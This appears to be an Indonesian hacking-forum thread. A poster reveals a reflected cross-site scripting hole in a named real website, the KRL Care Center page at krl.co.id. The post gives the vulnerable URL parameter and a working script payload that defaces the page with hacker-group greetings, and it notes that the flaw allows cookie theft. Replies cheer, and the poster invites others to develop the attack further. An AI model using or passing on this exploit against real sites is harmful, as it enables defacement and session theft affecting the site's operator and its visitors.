XSS pada situs resmi KRL Care Center

[Darkzzzz]

Terdapat celah keamanan yang kritis berupa Cross Site Scripting yang bersifat Non-Persistent pada Website KRL Care Center. Walaupun tidak terlalu berbahaya, celah keamanan ini dapat menyebabkan XSS Defacing secara temporer ataupun hanya sekedar mencuri cookie saja. Sayangnya celah XSS ini hanya berjalan pada beberapa Web Browser saja, misalnya : Mozilla Firefox

Poc

Code: Select all

Proof of Concept :
http://www.krl.co.id/infonew/undang.php?&start=0&p_f=0&t_cari=0&field_id=0&no=[b]Sisipkan Script Di Sini[/b]&kode_kondisi=0

Demo :

Code: Select all

www.krl.co.id/infonew/undang.php?&start=0&p_f=0&t_cari=0&field_id=0&no=<script>document.body.innerHTML="<h1>XSS Defacing</h1>This Site Has XSSed By : X-Cisadane<br/>Greetz To : XCode, Hacker Cisadane, Depok Cyber, Muslim Hackers, Dunia Santai, Borneo Crew, Jiban Crew, etc<br/>Please patch your system";</script>&kode_kondisi=0

Hasil :

[ladade]

wkwkwkmantap joinan ah
ciakakakakakak

[Darkzzzz]

wkwkwkmantap joinan ah
ciakakakakakak

hahahah silahkan om dikembangkan